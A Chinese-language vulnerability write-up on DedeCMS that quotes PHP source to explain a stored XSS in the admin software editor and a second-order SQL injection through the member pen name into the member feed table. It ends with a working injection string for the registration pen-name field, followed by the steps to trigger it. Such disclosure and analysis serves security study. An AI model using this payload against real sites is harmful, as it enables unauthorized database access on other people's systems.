红色目录有exp，注入比较鸡肋

目录

dede/soft_edit.php, 存储型XSS漏洞        2

include /memberlogin.class.php 会员笔名二次注入        4

dede/soft_edit.php, 存储型XSS漏洞

[php]

/**

* 软件编辑

*

* @version        $Id: soft_edit.php 1 16:09 2010年7月20日Z tianya $

* @package        DedeCMS.Administrator

* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.

* @license        http://help.dedecms.com/usersguide/license.html

* @link           http://www.dedecms.com

*/

require_once(dirname(__FILE__)."/config.php");

CheckPurview('a_Edit,a_AccEdit,a_MyEdit');

require_once(DEDEINC."/customfields.func.php");

require_once(DEDEADMIN."/inc/inc_archives_functions.php");

if(empty($dopost)) $dopost = '';

if($dopost!='save')

{

require_once(DEDEADMIN."/inc/inc_catalog_options.php");

require_once(DEDEINC."/dedetag.class.php");

ClearMyAddon();

$aid = preg_replace("#[^0-9]#", '', $aid);

$channelid="3";

//读取归档信息

$arcQuery = "SELECT

#@__channeltype.typename as channelname,

#@__arcrank.membername as rankname,

#@__archives.*

FROM #@__archives

LEFT JOIN #@__channeltype ON #@__channeltype.id=#@__archives.channel

LEFT JOIN #@__arcrank ON #@__arcrank.rank=#@__archives.arcrank

WHERE #@__archives.id='$aid'";

$dsql->SetQuery($arcQuery);

$arcRow = $dsql->GetOne($arcQuery);

if(!is_array($arcRow))

{

ShowMsg("读取档案基本信息出错!","-1");

exit();

}

$query = "SELECT * FROM `#@__channeltype` WHERE id='".$arcRow['channel']."'";

$cInfos = $dsql->GetOne($query);

if(!is_array($cInfos))

{

ShowMsg("读取频道配置信息出错!","javascript:;");

exit();

}

$addtable = $cInfos['addtable'];

$addQuery = "SELECT * FROM `$addtable` WHERE aid='$aid'";

$addRow = $dsql->GetOne($addQuery);

$newRowStart = 1;

$nForm = '';

$daccess = $addRow['daccess'];

$needmoney = $addRow['needmoney'];

if($addRow['softlinks'] != '')

{

$dtp = new DedeTagParse();

$dtp->LoadSource($addRow['softlinks']);

if(is_array($dtp->CTags))

{

foreach($dtp->CTags as $ctag)

{

if($ctag->GetName()=='link')

{

$islocal = $ctag->GetAtt('islocal');

if($islocal != 1) $needmsg = "删除";

else $needmsg = '';

$nForm .= "

\r\n";

$newRowStart++;

}

}

}

$dtp->Clear();

}

$channelid = $arcRow['channel'];

$tags = GetTags($aid);

$arcRow= $arcRow;$addRow= $addRow;

include DedeInclude("templets/soft_edit.htm");

exit();

}

[/php]

发布软件软件介绍处过滤不严

软件详情，点击源码编辑

[php][/php]

include /memberlogin.class.php 会员笔名二次注入

注册用户笔名处注入

利用条件开启会员注册

[php]function FormatUsername($username)

{

$username = str_replace("`","‘",$username);

$username = str_replace("'","‘",$username);

$username = str_replace("\"","“",$username);

$username = str_replace(",","，",$username);

$username = str_replace("(","(",$username);

$username = str_replace(")",")",$username);

return addslashes($username);

}

$this->M_UserName = $this->fields['uname'];

[/php]

登陆函数

[php]function __construct($kptime = -1, $cache=FALSE)

{

global $dsql;

if($kptime==-1){

$this->M_KeepTime = 3600 * 24 * 7;

}else{

$this->M_KeepTime = $kptime;

}

$formcache = FALSE;

$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));

$this->M_LoginTime = GetCookie("DedeLoginTime");

$this->fields = array();

$this->isAdmin = FALSE;

if(empty($this->M_ID))

{

$this->ResetUser();

}else{

$this->M_ID = intval($this->M_ID);

if ($cache)

{

$this->fields = GetCache($this->memberCache, $this->M_ID);

if( empty($this->fields) )

{

$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");

} else {

$formcache = TRUE;

}

} else {

$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");

}

if(is_array($this->fields)){

#api{{

if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')

{

if($data = uc_get_user($this->fields['userid']))

{

if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))

{

$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';

$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");

}

}

}

#/aip}}

//间隔一小时更新一次用户登录时间

if(time() - $this->M_LoginTime > 3600)

{

$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");

PutCookie("DedeLoginTime",time(),$this->M_KeepTime);

}

$this->M_LoginID = $this->fields['userid'];

$this->M_MbType = $this->fields['mtype'];

$this->M_Money = $this->fields['money'];

$this->M_UserName = $this->fields['uname'];

$this->M_Scores = $this->fields['scores'];

$this->M_Face = $this->fields['face'];

$this->M_Rank = $this->fields['rank'];

$this->M_Spacesta = $this->fields['spacesta'];

$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";

$scrow = $dsql->GetOne($sql);

$this->fields['honor'] = $scrow['titles'];

$this->M_Honor = $this->fields['honor'];

if($this->fields['matt']==10) $this->isAdmin = TRUE;

$this->M_UpTime = $this->fields['uptime'];

$this->M_ExpTime = $this->fields['exptime'];

$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);

if($this->M_Rank>10 && $this->M_UpTime>0){

$this->M_HasDay = $this->Judgemember();

}

if( !$formcache )

{

SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);

}

}else{

$this->ResetUser();

}

}

}

[/php]

登陆后

[php]   /**

*  记录会员操作日志

*

* @access    public

* @param     string  $type 记录类型

* @param     string  $title 记录标题

* @param     string  $note记录描述

* @param     string  $aid涉及到的内容的id

* @return    string

*/

造成注入

会员动态表，

function RecordFeeds($type, $title, $note, $aid)

{

global $dsql,$cfg_mb_feedcheck;

//确定是否需要记录

if (in_array($type,array('add','addsoft','feedback','addfriends','stow'))){

$ntime = time();

$title = htmlspecialchars(cn_substrR($title,255));

if(in_array($type,array('add','addsoft','feedback','stow')))

{

$rcdtype = array('add'=>' 成功发布了', 'addsoft'=>' 成功发布了软件',

'feedback'=>' 评论了文章','stow'=>' 收藏了');

//内容发布处理

$arcrul = " ".$title."";

$title = htmlspecialchars($rcdtype[$type].$arcrul, ENT_QUOTES);

} else if ($type == 'addfriends')

{

//添加好友处理

$arcrul = " ".$aid."";

$title = htmlspecialchars(' 与'. $arcrul."成为好友", ENT_QUOTES);

}

$note = Html2Text($note);

$aid = (isset($aid) && is_numeric($aid) ? $aid : 0);

$ischeck = ($cfg_mb_feedcheck == 'Y')? 0 : 1;

$query = "INSERT INTO `#@__member_feed` (`mid`, `userid`, `uname`, `type`, `aid`, `dtime`,`title`, `note`, `ischeck`)

Values('$this->M_ID', '$this->M_LoginID', '$this->M_UserName'/*二次注入到这里*/, '$type', '$aid', '$ntime', '$title', '$note', '$ischeck'); ";

$rs = $dsql->ExecuteNoneQuery($query);

return $rs;

} else {

return FALSE;

}

}

[/php]

用户笔名长度：

[php]if(strlen($userid) > 20 || strlen($uname) > 36)

{

ShowMsg('你的用户名或用户笔名过长，不允许注册！', '-1');

exit();

}

[/php]

注册用户笔名

exp:

',1,3,1,1,VERsion(),1),(1,1,'1

发表文章，任意

进入会员中心，点击我的动态